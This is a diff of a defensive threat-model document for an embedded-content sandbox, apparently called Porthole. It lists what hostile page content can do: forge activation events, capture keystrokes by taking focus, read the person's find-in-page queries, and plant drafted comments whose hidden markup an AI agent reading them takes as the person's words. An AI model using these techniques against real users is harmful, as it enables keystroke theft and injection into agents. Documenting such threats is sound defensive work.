`activated`, which it can fake anyway; keys reach a marker only while the frame has the focus,
|
|
729
|
+
never from the host; its own key events or `click()` make no trusted click. Assistive technology
|
|
730
|
+
reads the page's words in a marker's name, in quotes that bound nothing (P134). A host can't rely
|
|
731
|
+
on a marker being reached: its own list of marks is the keyboard way that holds.
|
|
732
|
+
- *Which input made an `activated`* (P134): the report doesn't say. The host's
|
|
733
|
+
`document.activeElement`, which the page can't fake, says only that the focus is in the frame,
|
|
734
|
+
where the page can put it itself. **The page can still forge `activated` while the person really
|
|
735
|
+
is in the frame**: moving the keyboard into a view on this signal is §6's second exception, its
|
|
736
|
+
gate keeping the next keys from posting.
|
|
737
|
+
- *Back to a marker* (P134, P135, P137). The page reads `focusMark` (an id it has; nothing comes
|
|
738
|
+
back), so it learns a card closed; it can take the focus back or forge the word, gaining nothing a
|
|
739
|
+
fake `activated` doesn't, and a host can't rely on the focus landing. The shell drops a late word
|
|
740
|
+
unless the focus is in the frame (§6), checked through built-ins kept before content ran, so a
|
|
741
|
+
word can't pull back a person gone on to a host's button. Accepted: a person who moves on within
|
|
742
|
+
100 ms; a page that forges a fresh word or takes the focus itself (it then has the keyboard
|
|
743
|
+
anyway); a word moving the focus from the page's own field onto a marker; and a forged `activated`
|
|
744
|
+
between the host's close and the frame's move, while the focus is on the host's body, which finds
|
|
745
|
+
no frame focused, so a view gated on "the frame had the focus" isn't gated by it. That view takes no focus and keeps keys out until the
|
|
746
|
+
focus reaches the frame, so the keys go to the page and nothing is written.
|
|
747
|
+
- *Clearing the selection* (P115, P121). `clearSelection` goes host to frame only; nothing comes
|
|
748
|
+
back. It adds no power (the page can clear or select its own text at any time, and reselect right
|
|
749
|
+
after a clear), but the page sees it, so it learns when the person was done with its selection.
|
|
750
|
+
Clear when the composer opens, on every close, or leave it to the person's next click; never only
|
|
751
|
+
when a draft is added, which tells the page a draft exists there, and when (above all for a page
|
|
752
|
+
`mayPassOn` says to keep drafts from).
|
|
753
|
+
- *What content can always do.* Hide, shrink, move or cover the layer; change its words so a mark is
|
|
754
|
+
orphaned; flood the shared rate so real reports are refused; make the shell's work dear by its
|
|
755
|
+
layout. Marks are found again and markers placed after each quiet run of changes, with a bounded
|
|
756
|
+
number of hit tests per marker in view (300 marks with counts in view: about 20 ms a change; 200
|
|
757
|
+
in a 3,000-line block: 25 to 50 ms; P105); in an opaque frame in the host's process that is the
|
|
758
|
+
host's time too ([§5](#5-out-of-scope)). An honest page's follow-up reports share one clock: at
|
|
759
|
+
most one a second, each only when its box moved.
|
|
760
|
+
- **So** `activated` opens the host's own view of a mark it already shows, within the frame's box
|
|
761
|
+
(better: beside it), guarded as §6 says, and never acts on it (no post, submit, discard, resolve,
|
|
762
|
+
delete or reply). An anchor or a rect decides where something is drawn, never who may see or do
|
|
763
|
+
anything.
|
|
764
|
+
|
|
765
|
+
**Find in page** (`find`, P131). The host draws its own find bar; the shell finds and highlights
|
|
766
|
+
matches in a closed layer of its own, in the content's realm (how: [DESIGN.md](DESIGN.md) § Find in
|
|
767
|
+
page).
|
|
768
|
+
|
|
769
|
+
- *What content learns.* Each query the host sends (a bar that searches as the person types sends
|
|
770
|
+
their typing, key by key), whether it is case-sensitive, each move between matches, when the bar
|
|
771
|
+
clears, and whether the host draws its own bar. Queries are the person's words: a page with a way
|
|
772
|
+
out (`connectDomains`, S5; egress a host opened; a carrier such as `db`, `mayPassOn`) can send
|
|
773
|
+
them to its author. So `find` is declared, in no preset by default, and hosts send queries on a
|
|
774
|
+
pause or Enter, not at every key (accepted by the product owner). A query is forgotten on a new
|
|
775
|
+
run or other content, so another page never learns it from what matched.
|
|
776
|
+
- *What content can say.* Any count and current match (at most 1,000, whole numbers, the current one
|
|
777
|
+
among them), any box in its frame (clamped as annotations' are), and an `updated` while a query is
|
|
778
|
+
shown. The host takes an answer only for a query it asked, under its id; anything malformed is
|
|
779
|
+
`"unsupported"` or a refusal. These are a find bar's numbers, never facts.
|
|
780
|
+
- *The shortcut.* While the host takes it (`find.takeShortcut(true)`), the shell cancels the
|
|
781
|
+
browser's find on Cmd+F or Ctrl+F and says `requested`; a page that handles the key keeps it, and
|
|
782
|
+
a page can say `requested` without it. The host takes `requested` only while the platform says the
|
|
783
|
+
page's focus is in the frame, so a page without the keyboard can't open the host's bar (which
|
|
784
|
+
takes focus) while the person types in the host's composer, and steer their next keys into
|
|
785
|
+
queries. That holds where a page can't take the keyboard by itself (Firefox, without a gesture);
|
|
786
|
+
on Chromium and WebKit a page can take it first, and then has the keys anyway. A real press is
|
|
787
|
+
always in the frame, so the rule refuses none; where a platform can't tell, it passes.
|
|
788
|
+
- *What content can always do.* Hide, cover or move the layer; change its words so the count
|
|
789
|
+
changes; reach the layer through patched built-ins; make the search dear (linear in its text; at
|
|
790
|
+
most 1,000 matches kept and 10,000 looked at; queries of 256 characters; found again at most once
|
|
791
|
+
a second while the content changes; of a burst, only the latest searched). In an opaque frame in
|
|
792
|
+
the host's process that is the host's time too ([§5](#5-out-of-scope)).
|
|
793
|
+
|
|
794
|
+
**The keyboard** (P109, P123, P149; the accepted risk in §5, the host's side in §6). Content can
|
|
795
|
+
move focus into its frame (`element.focus()` and the like) while the person types in the host's
|
|
796
|
+
page. Nothing of Porthole's can stop that in the content's realm, and on Chromium and WebKit it
|
|
797
|
+
needs no gesture. The page gets the keys typed until the person sees their text stop appearing and
|
|
798
|
+
clicks back, and can keep them (`db`) or send them out through any egress it has; `selected` (a
|
|
799
|
+
composer opened on it) and draft marks (where the person is writing) tell it when they matter.
|
|
800
|
+
Browsers give a host no way to prevent the move or tell it from the person's own click into the
|
|
801
|
+
frame: the host's page sees no press inside a cross-site frame on full Chromium or Firefox. A guard
|
|
802
|
+
could only guess, and its guesses refused people's own clicks while a page could still pass for the
|
|
803
|
+
person, so Porthole has none, and nothing gives the keyboard back. What holds: content can't read
|
|
804
|
+
the host's page, its storage or another display, or move focus into a field of the host's, and gets
|
|
805
|
+
no key typed while the focus is in the host's page: only keys typed after its move and before the
|
|
806
|
+
person notices, never what is already in the host's composer.
|
|
1111
807
|
|
|
1112
808
|
### The app runtime
|
|
1113
809
|
|
|
1114
|
-
What it is: `config.runtime: "1"`, for inline widgets and artifact pages. A page reaches the
|
|
1115
|
-
|
|
1116
|
-
|
|
1117
|
-
|
|
810
|
+
What it is: `config.runtime: "1"`, for inline widgets and artifact pages. A page reaches the host's
|
|
811
|
+
services through `porthole.use(name)`; without it there is no `porthole` global, and the config
|
|
812
|
+
can't name the runtime's own host functions. A host that only shows content can skip this section.
|
|
813
|
+
How it works: [DESIGN.md](DESIGN.md) § The capability runtime; how to wire it, with code:
|
|
814
|
+
[ADOPTING.md](ADOPTING.md) § The capability runtime.
|
|
1118
815
|
|
|
1119
816
|
**Porthole guarantees**, in the bridge, before any handler runs:
|
|
1120
|
-
|
|
1121
817
|
- A page reaches the built-ins its kind offers (`clipboard`, `links`, `downloads`, `comments`) and
|
|
1122
|
-
what it declared when published; anything else is refused (`undeclared`). The names it declares
|
|
1123
|
-
|
|
1124
|
-
host's `null` declaration)
|
|
1125
|
-
`db`.
|
|
1126
|
-
- Each method has a least level (`view < interact < admin < owner`), held against the viewer's
|
|
1127
|
-
|
|
1128
|
-
|
|
818
|
+
what it declared when published; anything else is refused (`undeclared`). The names it declares in
|
|
819
|
+
`data` hold with a viewer and without one (P094). A page stored before runtime declarations (the
|
|
820
|
+
host's `null` declaration) takes the legacy path: the built-ins and the old globals, none of
|
|
821
|
+
`user`, `artifact`, `assets` and `db`.
|
|
822
|
+
- Each method has a least level (`view < interact < admin < owner`), held against the viewer's level
|
|
823
|
+
from the host's `access`. A display without a viewer gets nothing above `view` and none of the
|
|
824
|
+
runtime's own host functions.
|
|
1129
825
|
- A version mounted with `intersectDeclarations(version's, current)` gets only what both
|
|
1130
826
|
declarations allow (P093).
|
|
1131
|
-
- `db`: another person's `data/users/<id>` is refused at every level; `me` is the host's id for
|
|
1132
|
-
|
|
1133
|
-
-
|
|
1134
|
-
|
|
1135
|
-
|
|
1136
|
-
- A `db.batch` runs under the gates of each of its writes,
|
|
1137
|
-
|
|
1138
|
-
|
|
1139
|
-
|
|
1140
|
-
|
|
1141
|
-
|
|
1142
|
-
|
|
1143
|
-
|
|
1144
|
-
|
|
1145
|
-
|
|
1146
|
-
|
|
1147
|
-
|
|
1148
|
-
|
|
1149
|
-
|
|
1150
|
-
|
|
1151
|
-
|
|
1152
|
-
|
|
1153
|
-
emoji sequence; a variation selector after a pictograph is fine), no line or paragraph
|
|
1154
|
-
separator, not blank-looking, at most 32 blanks in a row and two blank lines in a row; anything
|
|
1155
|
-
else is refused before the handler. A joiner between two letters that shapes nothing still
|
|
1156
|
-
draws as nothing (about a bit per letter boundary, measured): accepted, as P100 accepts it. The anchor's
|
|
827
|
+
- `db`: another person's `data/users/<id>` is refused at every level; `me` is the host's id for the
|
|
828
|
+
viewer, and paths in answers say `data/users/me`, never that id.
|
|
829
|
+
- `artifact.publish` and `assets.delete` change the artifact for everyone, so by default they need a
|
|
830
|
+
confirmation with their whole effect (a host's `methodGates` for them replace this; no proof of a
|
|
831
|
+
click is asked, P149).
|
|
832
|
+
- A `db.batch` runs under the gates of each of its writes, a `db.watch` under those of `get` or
|
|
833
|
+
`query`, as well as their own; a batch that needs a confirmation is confirmed once, whole (P094).
|
|
834
|
+
- Assets are served only to an access for their own artifact, after the host's check, except in
|
|
835
|
+
**bearer mode** (`AssetStore.bearer`, an opt-in that serves an asset to anyone with its id). A
|
|
836
|
+
code-typed asset runs as code only when an admin uploaded it where uploaded code may run, and only
|
|
837
|
+
while the config still lets uploaded code run, asked at every load, in bearer mode too (where
|
|
838
|
+
every artifact config must; P103); anything else is a download.
|
|
839
|
+
- `comments` is write-only: the page learns only whether the composer opened. It reaches the host's
|
|
840
|
+
handler whenever the page calls it, at most 30 times a minute, with no proof of a click (P149);
|
|
841
|
+
whether the composer opens is the handler's answer. A draft it gives (P108) is at most 2,000
|
|
842
|
+
characters of text a person can see (P109), or it is refused before the handler: nothing invisible
|
|
843
|
+
(zero-width, bidi and tag characters, controls but a new line and a tab; U+200C and U+200D only
|
|
844
|
+
between two letters or marks, where Persian and the Indic scripts need them, never first, last,
|
|
845
|
+
doubled, beside a space or punctuation, or in an emoji sequence; a variation selector after a
|
|
846
|
+
pictograph is fine), no line or paragraph separator, not blank-looking, at most 32 blanks in a row
|
|
847
|
+
and two blank lines in a row. A joiner between two letters that shapes nothing still draws as
|
|
848
|
+
nothing (about a bit per letter boundary, measured): accepted, as P100 accepts it. The anchor's
|
|
1157
849
|
label and quote reach the handler without what a person can't see, and are refused if nothing
|
|
1158
850
|
visible is left.
|
|
1159
|
-
- `defineRuntimeConformance` checks the host's handlers
|
|
851
|
+
- `defineRuntimeConformance` checks the host's handlers and, with `api`, its own API for `db`,
|
|
1160
852
|
`artifact` and `assets`, with a forged context (a viewer claiming to be the owner, no rules).
|
|
1161
853
|
|
|
1162
854
|
**The host must**
|
|
1163
|
-
|
|
1164
855
|
- Treat its API as the wall: check each call again from its own session and its own stored
|
|
1165
|
-
declaration, never from `context.viewer` or `context.declared`.
|
|
1166
|
-
|
|
1167
|
-
- Say each viewer's level in `access`,
|
|
1168
|
-
|
|
1169
|
-
|
|
856
|
+
declaration, never from `context.viewer` or `context.declared`. Run `defineRuntimeConformance`
|
|
857
|
+
with `api` in CI, against its real API.
|
|
858
|
+
- Say each viewer's level in `access`, keep public grants low, and handle abuse on shared pages
|
|
859
|
+
(S4).
|
|
860
|
+
- Store a declaration per version, and mount a version with `intersectDeclarations(version's,
|
|
861
|
+
current)`.
|
|
1170
862
|
- Revoke with its per-request check (`authorize`) and `content.forget(…)`.
|
|
1171
863
|
- Keep each person's data apart in its own stores, and refuse moved bases and versions
|
|
1172
864
|
(`Refused("conflict")`).
|
|
1173
|
-
-
|
|
1174
|
-
|
|
1175
|
-
|
|
1176
|
-
|
|
1177
|
-
|
|
1178
|
-
|
|
1179
|
-
|
|
1180
|
-
|
|
1181
|
-
|
|
1182
|
-
- A composer the page filled takes no focus when it opens (keys stay where the person was
|
|
1183
|
-
typing: what they type for the page must not land in a postable comment), and doesn't send on
|
|
1184
|
-
Enter until the person has focused or edited it themselves: Send is a click until then. It is
|
|
1185
|
-
a view the content brought (§6's guard): no press for 500 ms after it opens, Send not focused,
|
|
865
|
+
- Show a comment's draft (P108) whole, as the person's editable plain text in its own composer, and
|
|
866
|
+
post it only on the person's own Send, never on the page's word. Once posted, the comment is the
|
|
867
|
+
person's (mentions in it act as theirs), so they must see it all first (P109):
|
|
868
|
+
- An open never replaces, appends to or moves what the person has typed, or the place they chose:
|
|
869
|
+
while the composer holds their words, answer `false`, or show the page's words as a separate
|
|
870
|
+
suggestion that takes no focus.
|
|
871
|
+
- A composer the page filled takes no focus when it opens (what the person types for the page must
|
|
872
|
+
not land in a postable comment), and doesn't send on Enter until the person has focused or
|
|
873
|
+
edited it. It is a view the content brought (§6's guard): no press for 500 ms, Send not focused,
|
|
1186
874
|
beside the frame where it can.
|
|
1187
|
-
-
|
|
1188
|
-
host outside the frame
|
|
1189
|
-
drafts
|
|
1190
|
-
|
|
1191
|
-
-
|
|
1192
|
-
|
|
1193
|
-
|
|
1194
|
-
|
|
1195
|
-
agent. Show the anchor's label and quote as isolated text (`<bdi>`, `dir="auto"`), and hand
|
|
1196
|
-
them to a model only as the page's words.
|
|
875
|
+
- Until the person edits it, it says the text is the page's ("Suggested by this page"), drawn by
|
|
876
|
+
the host outside the frame. It never shows it as one of their own drafts: the host's own list of
|
|
877
|
+
drafts, not the frame's markers (which a page can draw), is how a person finds theirs.
|
|
878
|
+
- Nothing one click away in the draft's view (P107) or the composer posts, submits or discards.
|
|
879
|
+
- Render a page-drafted comment as plain text, or show before Send what readers will see: markup a
|
|
880
|
+
markdown renderer hides (an HTML comment, a link definition) is still read by an agent. Show the
|
|
881
|
+
anchor's label and quote as isolated text (`<bdi>`, `dir="auto"`), and hand them to a model only
|
|
882
|
+
as the page's words.
|
|
1197
883
|
|
|
1198
884
|
**Not guaranteed**
|
|
1199
|
-
|
|
1200
|
-
|
|
1201
|
-
|
|
1202
|
-
page's rules allow) can read it.
|
|
885
|
+
- Closed egress covers the network, not the host's services: what a page learns from `user`, or what
|
|
886
|
+
a viewer types into it, it can store in `db`, where its author (and other viewers, as the page's
|
|
887
|
+
rules allow) can read it.
|
|
1203
888
|
- `db` rewrites only paths: an id the page stores inside a document's data is returned as stored.
|
|
1204
889
|
- In bearer mode, assets are served by id alone, without the host's check.
|
|
1205
|
-
- A draft is the page's words in the person's composer:
|
|
1206
|
-
|
|
1207
|
-
|
|
1208
|
-
|
|
1209
|
-
|
|
1210
|
-
|
|
1211
|
-
## 8.
|
|
1212
|
-
|
|
1213
|
-
|
|
1214
|
-
what was wrong, what holds now, and the limit its decision accepts, if any. Later reviews' decisions
|
|
1215
|
-
are in the status line and in DECISIONS.md: P105 (after the review of P104), P109 (after the review
|
|
1216
|
-
of 0.12.0's drafts), P111 (a nested page; in 0.14.0, removed in 0.16.0), P114 (a nested page's
|
|
1217
|
-
shell on a label of its own, after porthole#56; in 0.14.1, removed in 0.16.0), P124 (a frame
|
|
1218
|
-
status is the word of Porthole's pages, after the audit raft-security-audit#16; in 0.14.5: §4,
|
|
1219
|
-
§6, §7, S6), P125 (a served display takes its word from a door no same-scope content can reach,
|
|
1220
|
-
after the audit of 2026-10-30 found P124 held only for a display alone in its scope; in 0.14.6:
|
|
1221
|
-
§4, §6, §7, S7), P149 (what guessed at the person's intent is taken out: nested pages, the focus
|
|
1222
|
-
guard, the proof of a click but `copyText`'s; in 0.16.0: the status line, §5, §6, §7).
|
|
1223
|
-
|
|
1224
|
-
| Decision | State | What it closes | Sections |
|
|
1225
|
-
| --- | --- | --- | --- |
|
|
1226
|
-
| P092 | Merged | A request with a method `fetch` refuses (`TRACE`) could end a Node process through the Node adapter; the issue endpoint read a JSON body without a byte limit; its rate limit keyed anonymous requests on headers a client sets. Now no request ends the process, a body is read to 64 KiB at most, and the key is an address the client can't set. | §5, S4 |
|
|
1227
|
-
| P093 | Merged | `intersectDeclarations` compared rules name by name, so a current wildcard didn't narrow a version's named rule, and a collection named `__proto__` was lost. Now the result allows exactly what both sides allow. | §7 |
|
|
1228
|
-
| P094 | Merged | Without a viewer, a page's declared `data` names weren't held; a pushed result answered a read past `readData`'s gates; `db.batch` and `db.watch` skipped their inner methods' `methodGates`. Now each holds. | §4, S2, S4, §7 |
|
|
1229
|
-
| P095 | Merged | What content sent was read before its gate: a log or error report was serialized whole first; waiting confirmations had no cap. Now the bridge reads it after the gate into bounded text, nothing a page sends throws out of an adapter, and at most 10 confirmations wait per display. | §5, S1, S5 |
|
|
1230
|
-
| P096 | Merged | The negative-control runner counts a control that didn't run as passed, and CI runs the runtime's controls only. | §4 |
|
|
1231
|
-
| P097 | Merged | A release waits for the same commit's CI. No guarantee here depends on it. | |
|
|
1232
|
-
| P098 | Merged | A set's page whose notice came late was taken for a navigation away (red on Chromium since 0.6.0), and tests that waited a fixed time. Accepted: a files display may hold a frame that did navigate away for up to 2 s before starting it again, delivering nothing while it waits. | S1 |
|
|
1233
|
-
| P099 | Merged | A served page in a tab had no sandbox: `window.open` sent input out, it could navigate its opener, open a picture-in-picture window, and ask for the camera, location or full screen. Now its headers carry its frame's sandbox and deny what its frame's `allow` doesn't grant, and the shell closes those on a tab too; the served suite probes self-navigation in frames and tabs. A browser without the Navigation API is an accepted limit. | S4 |
|
|
1234
|
-
| P100 | Merged | `setModelContext` was rate-limited only, unseen by the person. Now it needs the host's `show` by default. Accepted: shown isn't read, and characters that draw as blanks pass, bounded by the length. | S1, S5 |
|
|
1235
|
-
| P101 | Merged | Under https Porthole read unprefixed `porthole-*` cookies a sibling label can plant; the entered mark carried no label; url mode checked neither `Origin` nor `Sec-Fetch-Site`. Now only `__Host-` names are read, the mark names its label, and a url-mode app answers its own origin and navigations. | S3, S6 |
|
|
1236
|
-
| P102 | Merged | This document. | |
|
|
1237
|
-
| P103 | Merged | A live widget's capabilities could add origins; bearer-mode assets skipped the code re-check; `callTool` had no rate. Now the preset refuses them and its config is frozen, every load asks the current config (its ETag says which answer), and `callTool` has 30 a minute. | S2, S5, §7 |
|
|
1238
|
-
| P143 | Merged (0.15.0) | Embeds: a public grant's documents framed by any page (`frame-ancestors *`) only for a session the host minted with `embed`, never a reader's. Such a frame has no host: it hears no one, Porthole tells no parent anything, no capability or runtime host function runs, no door. Accepted: the embedding site sees the page load and hears what the page itself posts to its parent or top. The host must keep its embed entry from widening grants, and blank takedowns within its stated bound. | S4 |
|
|
1239
|
-
|
|
1240
|
-
Open with no decision yet; until then they are the host's to cover:
|
|
890
|
+
- A draft is the page's words in the person's composer: posted unread, it says what the page chose,
|
|
891
|
+
and an agent that reads the comment takes it as the person's. Porthole bounds what can hide in it
|
|
892
|
+
(visible text, 2,000 characters) and how often it is asked (30 a minute); reading it is the
|
|
893
|
+
person's job. A page opens the composer at a moment it chooses, with a press of the person's or
|
|
894
|
+
with none (P149): the composer's duties above are the bound.
|
|
895
|
+
|
|
896
|
+
## 8. Not covered yet
|
|
897
|
+
|
|
898
|
+
These have no decision yet; until they do, they are the host's to cover:
|
|
1241
899
|
|
|
1242
900
|
- a check, at mount or in development, that the page sends its `frame-src` (S1: run
|
|
1243
901
|
`defineHostConformance`);
|
|
1244
902
|
- a check of which displays share a page (S7: group them yourself);
|
|
1245
|
-
- an interstitial, report and takedown hooks for public pages, and a `lintContent` rule for
|
|
1246
|
-
|
|
903
|
+
- an interstitial, report and takedown hooks for public pages, and a `lintContent` rule for secrets
|
|
904
|
+
(S4);
|
|
1247
905
|
- refusing weak or example secrets, and a health answer that isn't derived from the secret (S3);
|
|
1248
906
|
- dropping `True-Client-IP` and `CF-Connecting-IP`, and an SSRF example for `instance` (S6);
|
|
1249
907
|
- a warning when the content domain isn't on the PSL (S3);
|